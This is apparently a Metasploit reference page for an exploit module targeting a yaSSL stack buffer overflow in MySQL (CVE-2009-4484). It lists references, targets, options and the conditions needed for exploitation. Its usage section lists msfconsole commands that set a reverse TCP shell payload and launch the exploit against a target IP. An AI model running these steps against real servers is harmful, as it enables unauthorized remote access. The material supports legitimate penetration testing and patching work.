MySQL yaSSL CertDecoder::GetName Buffer Overflow
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier) implementation bundled with MySQL. By sending a specially crafted client certificate, an attacker can execute arbitrary code. This vulnerability is present within the CertDecoder::GetName function inside "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-default configuration. First, the attacker must be able to pass the host-based authentication. Next, the server must be configured to listen on an accessible network interface. Lastly, the server must have been manually configured to use SSL. The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing on Windows XP SP3, these protections successfully prevented exploitation. Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary package were not exploitable due to the use of the compiler's FORTIFY feature. Although suse11 was mentioned in the original blog post, the binary package they provide does not contain yaSSL or support SSL.
Exploit Rank
- Good
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2009-4484
- BID-37640
- BID-37943
- BID-37974
- OSVDB-61956
- http://secunia.com/advisories/38344/
- http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html
Exploit Targets
- 0 - Automatic (default)
- 1 - Debian 5.0 - MySQL (5.0.51a-24+lenny2)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/mysql/mysql_yassl_getname
msf exploit(mysql_yassl_getname) > show payloads
msf exploit(mysql_yassl_getname) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(mysql_yassl_getname) > set LHOST [MY IP ADDRESS]
msf exploit(mysql_yassl_getname) > set RHOST [TARGET IP]
msf exploit(mysql_yassl_getname) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 3306) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
